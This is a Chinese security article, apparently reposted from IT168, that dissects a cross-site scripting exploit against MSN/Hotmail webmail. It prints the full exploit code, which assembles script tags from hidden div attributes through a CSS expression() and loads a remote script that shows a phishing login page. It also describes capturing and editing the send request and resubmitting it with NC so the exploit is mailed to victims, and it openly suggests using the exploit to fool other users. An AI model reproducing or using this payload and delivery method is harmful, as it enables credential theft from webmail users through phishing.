MSN跨站漏洞分析

 
   | |

导读:作者用实例分析了最近出现的MSN跨站漏洞,本文中作者将漏洞源码等列出,供大家参考。

关键词:MSN跨站漏洞 跨站漏洞 漏洞源码

 
正在加载数据...

  早在几天前,听到同事说“朋友msn发来一个网页,自己输入了密码,结果过了几天后,MSN密码错误,可能是被盗了。”当时还问同事要地址,他却说找不到地址了。几天后朋友说看到幻影发出了msn跨站代码,于是自己下载exp研究半天,终于利用成功。

  原代码很乱,排版后如下:

1 <font color="ffffff"> 
2     <div id="jmp" style="display:none">nop</div>
3     <div id="ly" style="display:none">      //这几个DIV是用来分段存储exp内容的
4         function ok(){return true};
5         window.onerror=ok
6     </div>
7     <div id="tip" title="&lt;a style=&quot;display:none&quot;&gt;" style="display:none"></div>
8     <div id="tap" title="&lt;" style="display:none"></div>
9     <div id="tep" title="&gt;" style="display:none"></div>
10     <style>
11 //以下是EXP的开始,一个二元表达式内嵌利用代码。代码把div中存储的内容取出来然后加一起,形成了最终shellcode。
12         div{background-image:expression(
13             javascript:1?document.write(
14                     EC_tip.title+’;top:’+EC_tap.title+’/a’+
15                     EC_tep.title+EC_tap.title+’script id=nop’+
16                     EC_tep.title+EC_ly.innerHTML+EC_tap.title+’/script’+
17                     EC_tep.title+EC_tap.title+
18                     ’script src=http://localhost/1.js’+
19                     EC_tep.title+EC_tap.title+’/script’+
20                     EC_tep.title)
21                     :1=1);
22                 }
23         </style>
24 </font>

  不知道是哪个大牛发现的漏洞写出了代码。要知道MSN不可能对跨站的代码,也就是邮件内容不做过滤。所以这段代码一定是某牛的思维精华,精巧的绕过了MSN对邮件内容的层层验证。而我们要学习的是思想,漏洞代码这种东西,今天能用,明天人家就补上了。

  用DOM解析来分析代码,会容易些。首先看最外层,一对<font>标签。作者并不怎么用MSN来发信,所以不了解MSN邮箱的编辑模式,不了解怎样编辑邮件内容才能出现这对标签。不过最外面的标签既然可以这么写,说明MSN至少允许一部分HTML代码执行。测试给自己邮箱发信,发现MSN提供的邮箱不能直接发HTML,只能用自带编辑器给新建内容加样式。看来如果一定要发html,就要抓包了。

  邮件发送和接收协议分别是SMTP和POP,但是MSN却让我们从网站上发送邮件,把邮件提交给一个网页文件,这说明MSN在接收到我们给该网页所提交的信息后,在后台处理了那些过程。一个MSN发信的包里,有如下几个重要内容:

POST /mail/SendMessageLight.aspx?_ec=1&n=578891127 HTTP/1.1

  把信件内容提交给这个文件,之后发送过程由该文件在MSN服务器上执行。

Host: by111w.bay111.mail.live.com

  主机地址,这个要记下来, NC提交的时候用。

Content-Length: 1858

  发送包的长度,如果修改了包内容,也要相应修改包长度。

  COOKIE就不说了,一定要有的,证明你的身份,因为是HTTP协议,所以一旦登录过后退出了,之前抓到的cookie就无效了。

Content-Disposition: form-data; name="fTo"

notconn@hotmail.com
-----------------------------7d830d6a0738

  看到“fTo”了吧?顾名思义,这里需要填写信件发送到哪里。这里也要进行欺骗时一定要修改的地方之一。

Content-Disposition: form-data; name="fMessageBody"
<STRONG>ddddd</STRONG><div id="test" name="test" title="test">test</div><script>alert(’s’);</script>
-----------------------------7d830d6a0738

  这就是最重要的地方:信件的内容,也就是放EXP代码的地方。msn会在这里过滤很多东西,以免出现XSS攻击。作者发信的时候,在信件里输入了“ddddd”,然后点“加粗”按钮,原内容只有一个<STRONG>ddddd</STRONG>,而这个数据包,是修改后的内容。

  为了测试MSN对邮件内容的过滤,同时为了研究大牛的EXP代码中一个特殊的地方,作者在信件源内容里,加了一个script标签,和一个div,并给div的id和name以及title给定了值。如果只看EXP代码,有些地方能一眼看懂,而有些地方看起来很茫然。特别奇怪的就是前面定义了一个div叫tap,乍一看似乎没用,而后面又有一个EC_tap的js变量,这个变量居然还有个title属性。原本看起来没有关联的代码,等我用NC把修改后的包提交出去以后(发乐信),再打开信件时,终于明白了。再看看收到的邮件源代码:

邮件源代码

  邮件中的dddddd还在,div的id由原来的test,变成了EC_test,title的值和div标签之间的值(innerHTML)也在,MSN没有对其过滤。而script标签,就找不到了。这么看起来,就很容易搞明白EXP的代码了。

  MSN过滤了很多内容,但是却把“div{background-image:expression(”中的表达式执行了。而表达式中的内容也被过滤一部分,不允许出现定义变量,不允许出现“<”等等,大牛无奈之下,定义了一堆div。用div的title属性和innerHTML来存储shellcode,而特殊的值例如“<”一类,也经过编码后储存,最终巧妙的在msn的严密过滤下执行了恶意代码。不得不佩服的说一句,很邪恶,很强大!

  最终成型后的shellcode代码,会在浏览器中打开页面中html代码如下:

<a style="display:none">;top:</a>
<script id=nop>function ok(){return true};window.onerror=ok</script>
<script src=http://localhost/1.js></script>

   看看最终的成果,你会发现这些代码的每一个字符都在exp里以某种形式出现过,最终绕过层层防御,组合在一起。读者可以在脑海里构造这么一个画面,在一个恐怖的黑色实验室里,某牛趴在一台电脑面前,不断变换着字符对自己的msn发信,从最基本的<script>标签开始,到不小心发现DIV的名字会被msn的过滤器换成另一个,笔者最佩服这种研究精神。我们的小菜,在自己不小心上当后,该怎么抓到这段EXP然后利用呢?现在重现一下小菜中招的那一刻:

  某小菜正在利用上班时间,打开MSN泡MM,突然朋友发来一封邮件“新鲜的IIS6 0DAY”,小菜满怀激动打开邮件,没想到居然提示登录,于是登录,再次打开邮件,又提示登录……如此反复。终于明白这不是IIS6的0DAY,而是MSN跨站。

  如果我猜得不错,大多数爱学习而又心怀鬼胎的小菜会打开信件后,会首先看那个MSN登录页面的源代码,误以为这个就是最终exp。发现不是exp后,又打开邮件后立刻按ESC停止浏览器执行,在出现的空白页面里看源代码,却只发现那段成型后的shellcode代码。这当然是误区!

  那么整段EXP究竟该怎么抓呢?为什么两次抓的都不对?

  作者推测,仅仅从邮箱中打开邮件查看,一直到查看到信件最后中标为止,整段EXP应该没有出现过,只有成型的shellcode出现了!!!很诡异啊,呵呵,开个玩笑,它当然出现了,如果整个过程中都在抓包,会出现在打开信件之后,但是瞬间出现后,页面就被shellcode替换掉了,而shellcode又调出了msn登录的钓鱼页面。其实除了抓包,还有更简单的方法。MSN新版,提供了查看信件源代码功能。

MSN新版


  在信件上点右键,选择查看源文件,就能看到信件的源代码,下图就是信件源代码页面。

信件源代码页面


  接下来在IE中查看网页源文件,看到的是加密过的内容,一堆乱码。中国X黑客小组网站里,提供了在线脚本编码工具http://online.cnxhacker.com/script/, 对代码解密。才会看到EXP的真实内容。

EXP的真实内容

  现在终于看到了exp的内容,这段EXP会执行指定的JS文件,根据中招的经历,我们也可以利用这段代码欺骗其他小菜了。

  代码分析完毕,下面是利用这段代码做坏事了。

  其实不需要使用MSN给MSN的邮箱发信,只要找个能完好的发送代码到MSN的邮箱就可以。如果临时找不到,甚至可以自己架一台java mail发信。作者比较懒,只对“WSE抓包,修改之后使用NC发包”这条路情有独钟。

  简单的介绍下作者的发信过程:

  登录MSN邮箱,打开新建邮件页面。设置抓包工具之后,修改抓到的包内容为exp的代码,然后修改包长度。使用NC提交给hotmail服务器。整个过程中,包内容保存为1.TXT这个文件必须使用ultraedit工具打开,不能使用记事本,因为记事本不认某些字符编码,会把自己的编码覆盖到原文档中,最终造成NC发出去的包,服务器不认识。

  从一段代码,可以看到大牛的思路,以及为了不断寻求突破所付出的努力,这才是值得学习的地方。再看看国内那些现在越来越多只知道用工具的家伙,殊不知那些经常上报的可怜小子其实就是出自你们当中呢?

原文出处:http://safe.it168.com/a2008/0814/200/000000200739.shtml
 
来源:IT168    作者:空虚浪子心    
 
 
 
 
 

IM安全

 
为应对长期以来发生的来自网络钓鱼、垃圾邮件以及其它网络犯罪的轰炸,Facebook和其它的社交网络纷纷向安全团队诉苦,并部署起新的网络防御措施……
 
信息安全方向的专业人士如何能够利用当今的三大社交网站,即Facebook,LinedIn以及Twitter来促进他们的信息安全职业生涯呢?本文将对这一问题进行详细阐释。
 
社交媒体的增长,给金融机构和其他行业带来了挑战和机遇。金融机构需要采用全面的社交媒体战略,以便于发现新媒体潜在的风险,并对其进行风险管理。本文将介绍几种应对策略。
 
AIM,Yahoo! Messenger 和Google Talk这些即时通讯(IM)平台,已经不再只是高中生才用的聊天工具,企业也开始使用它们来沟通。然而,很多情况下……
 
即时通讯是配置最为广泛的互联网应用软件之一。巨大的用户群,是IM软件成为黑客攻击目标的原因之一。那么企业应该如何设置IM,保障企业的数据和即时通讯的安全呢?

热门技术手册排行

 

虚拟专用网络 VPN(Virtual Private Network )能通过公用网络Internet建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安全、稳定的隧道。VPN是对企业内部网的扩展,它可以帮助远程用户、公司分支机构、商业伙伴及供应商同公司的内部网建立可信的安全连接,并保证数据的安全传输。许多公司使用VPN向公司外部的员工提供企业网络接入。本手册将围绕VPN进行全方位的讲解。

 

“最佳实践”来自英文Best Practice。维基百科对最佳实践的定义是一个管理学概念,认为存在某种技术、方法、过程、活动或机制可以使生产或者管理实践的结果达到最优,并减少出错的可能性。学习应用IT企业安全的最佳实践,其实就是借鉴别人成功的经验,让自己在保护企业安全方面少走弯路。在本手册中,将集合IT业内关于企业安全的最佳实践,并不断更新,以期在企业安全防护方面提供帮助。

 

虚拟化是数据中心的流行技术,它起源于20世纪60年代。它是把昂贵的计算机资源的利用最大化的方式。典型的服务器的利用率不足40%,虚拟化可以更有效地利用技术资源,并节约固定费用。虚拟化的最大优势是,它允许管理员从中央区域为个人电脑和客户设备提供软件。虚拟化不需要管理员对一般任务进行分别考虑。服务器的关机可以带动多用户的关机。

 

黑客策略和技术一直都在进步。黑客还在继续开发新的攻击工具和黑客方法,来恶意访问系统并攻击你的网络,这样企业在开发和采取恰当的方法防御黑客的攻击就变得非常困难。《黑客攻击技术和策略》的技术指南将介绍黑客的内心想法,并帮助你理解恶意攻击者的动机,也提供了一些黑客攻击具体信息的方式,采用的方法以及企业应该采用的保护敏感数据的方法。这里将会提供大量黑客技术和策路的信息,例如允许黑客获取网络系统或者文件访问的系统特征探测。

 

假如你正在寻找一个漏洞扫描器,你可能已经遇到了大量的非常昂贵的商业解决方案,这些方案都有一长串的性能和优点。不幸的是,如果你和我们之中大部分人的情况一样的话,你一般根本没有运行这些奇特的系统的预算。你可能已经退而求其次,转向考虑使用像SATAN或Saint的免费工具。然而,你可能觉得使用这些工具是一种折衷的办法,因为它们的性能设置不能与商业解决方案相比。这时候你就应该学会使用Nessus! 2005年12月Nessus背后的公司Tenable Network Security Inc.发布了Nessus 3,引进了对该产品的全面检查。在写这篇文章时候的最近版本,Nessus 3.2是在2008年3月发布的。Nessus现在可以在多种平台上使用,包括Windows、各种版本的Linux、FreeBSD、Solaris和Mac OS X。以下是这次Nessus3中的重大变化: 下面将介绍如何使用Nessus工具以及Nessus工具的更新。

查看更多
 
 

登录TechTarget中国

关闭
本服务仅向TechTarget中国的会员开放,请登录或立即免费注册
登录Email
请输入您的登录Email
密码
下次自动登录